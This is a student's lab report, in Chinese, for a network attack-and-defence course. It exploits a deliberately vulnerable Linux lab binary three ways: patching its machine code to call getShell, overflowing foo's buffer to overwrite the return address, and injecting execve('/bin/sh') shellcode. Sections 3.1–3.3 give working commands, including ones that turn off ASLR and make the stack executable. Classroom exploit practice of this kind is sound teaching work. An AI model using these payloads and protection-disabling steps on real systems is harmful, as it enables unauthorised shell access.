20241917 2024-2025-2 《网络攻防实践》实践九报告
1实验要求
1.1实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.2三个实践内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
1.3.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2.1 反汇编
2.1.1 编译原理
软件开发通常采用C/C++、Delphi等高级语言进行编码,经编译器转化为计算机可执行的二进制文件。逆向工程的核心操作是将已编译的机器语言文件逆向转换为可读的汇编代码或其他中间语言形式。值得注意的是,逆向生成的代码在指令结构和代码逻辑层面可能与原程序存在差异性,但其功能表现与原始程序保持等效。
2.1.2 常用工具
主流的逆向工程工具包含OllyDbg(OD)、交互式反汇编器IDA Pro、开源工具radare2,以及基础调试工具DEBUG、C32Asm等。使用DEBUG进行逆向分析时,需在指定文件路径后附加"-u"参数启动反汇编模式。值得注意的是,OllyDbg等工具可能被安全软件识别为威胁程序,需在防护系统中设置白名单。有效使用此类工具需要具备寄存器操作、内存管理等底层知识。
2.2 内存溢出攻击原理
当程序未对输入数据实施有效边界校验时,过量数据将突破缓冲区预定存储空间,覆盖相邻内存区域。攻击者可借此篡改函数返回地址、函数指针等关键数据,实现非授权流程控制,最终达成执行任意指令或破坏系统完整性的目的。
2.3 shellcode
Shellcode最初特指用于获取系统控制权的机器码序列,其名称源于获取命令行解释器(Shell)的典型应用场景。在安全攻防领域,该术语现泛指所有可注入执行的机器指令集合,其功能范畴已扩展至权限提升、数据窃取、系统控制等多个层面。有效载荷的设计需考虑编码规范、内存地址无关性等关键技术要素。
3实践过程
3.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
首先按照实验要求,先将命令行的名字改成自己的学号,输入指令hostnamectl set-hostname 20241917lbh,再重启系统即可.

找到到文件所在的目录,然后输入指令objdump -d 20241917lbh | more,如下图:

一直回车直到可以完整查看getShell、foo、main函数。要将main语句的目标地址重定向为getshell函数,由图中main函数中的804891可知,main函数会调用foo函数,故可以通过修改foo函数的地址为getShell函数地址0804847d实现。

使用命令apt-get install xxd 安装xxd

输入vi pwn20241917

备份pwn20241917程序,防止修改过程出现错误
通过vim打开pwn202419170,进行修改
输入:%!xxd,切换至16进制模式

然后查找需要修改的部分,输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。


输入 :%!xxd -r 还原为原格式后,:wq 保存退出。

再次输入 objdump -d pwn202419170 | more 查看反编译结果,可以看出已经调用了 getShell 函数,修改成功;

运行pwn20241917和pwn202419170文件,可见修改后成功执行getshell,获取系统权限:

3.2通过查询资料得知,foo存在一个缓冲区溢出(BOF)漏洞,再次查看foo函数可以查看到具体缓冲区为28个字符,将超出的部分会发生内存溢出,故可将溢出值设置为getShell函数即可
输入 objdump -d pwn20241917 | more 查看20241909ekpwn2文件。

分析指令,可以发现分配的栈空间为 0x38(56)字节,但实际使用的缓冲区只有 0x1c(28)字节,故输入指令字节超出缓冲区会造成溢出,超出部分将覆盖栈的其他内容,包括foo 的保存的 ebp(4字节)和返回地址(4字节,即 eip 的值),因此输入字符串需要包含 28 字节的垃圾数据,用于填充缓冲区,接下来 4 字节覆盖保存的 ebp,最后 4 字节覆盖返回地址,需设置为getshell 函数的地址(0x0804847d),则要构造的长字符串第33-36字节应该为0x7d840408
准备用于缓冲区溢出攻击的输入字符串,并将其写入文件202419171input并使用xxd指令查看文件内容

将 202419171input 文件中的内容发送给 pwn20241917 程序作为输入,实现缓冲区溢出,获取shell

3.3注入Shellcode并执行
下载Execstack,可以通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb进行下载,下载后找到文件位置使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可完成安装。

输入execstack -s ./20242931pwn设置为可执行状态
输入execstack -q ./20242931pwn检查是否设置成功

通过命令echo "0" >/proc/sys/kernel/randomize_va_space关闭地址随机化,确保注入的 shellcode 在固定地址运行,再通过命令more/proc/sys/kernel/randomize_va_space查看,发现地址随机化已关闭

使用perl命令构造的字符串为
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > 1917input
将输入内容设置为pwn20241917的输入

打开一个新的终端查看pwn20241917文件进程以及进程号
打开另一个终端(设为B)使用gdb调试。键入ps -ef | grep pwn1找到其进程号为6117。
键入gdb启动调试模式,键入attach 6117调试进程,键入disassemble foo设置断点。
在ret处断掉,此处结束后将跳到地址覆盖的地方。

键入break *0x080484ae。
键入c。

等终端A出结果后再在B端键入info r esp。
可见,此时栈顶指针所在的位置为 0xbfc1b4d0。
接着在B端键入x/16x 0xbfc1b4d0。发现01020304被填入 0xbfc1b4d0,因此shellcode的地址就是 0xbfc1b4d0。

键入perl -e 'print "A" x 32;print "\xb0\xf3\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input1917。再键入xxd input1917。

然后去另一端键入(cat input_shellcode;cat) | ./pwn20241917,按 两次回车,键入ls,发现返回桌面内容。这意味着成功取得shell!
4.学习中遇到的问题及解决
问题一:在实验一中下载gdb失败
解决方法:去网上查原因,又是更新包列表,又是换源,什么阿里云的kali源等,还是不行,又去kali的库里找gdb下载.deb,还是装不上,又问了刘婉露和朱天宇等同学得知都有这样的问题,试了他们的换源的网站还是不行,又看了鲍恒宇同学的报告,发现她换成桥接模式,复制物理地址即可,试了试还是不行,心态崩了,最后换了一台电脑把实验做完,心态炸裂,折磨。





5.学习感想和体会
此次实验难度适中,实验内容虽然不是很多,但是有个别地方小问题卡住后浪费了非常非常多的时间。通过这次实践不仅让我掌握了修改二进制文件、利用缓冲区溢出、注入 Shellcode 的基本技术和流程,同时也锻炼了我自己从解决问题的能力,从多方面多角度多思路解决问题,大家可能有相同的问题,但是每个人的解决办法不同,他的办法可能未必对自己有用,让我认识到可能遇到的问题的多样性。
浙公网安备 33010602011771号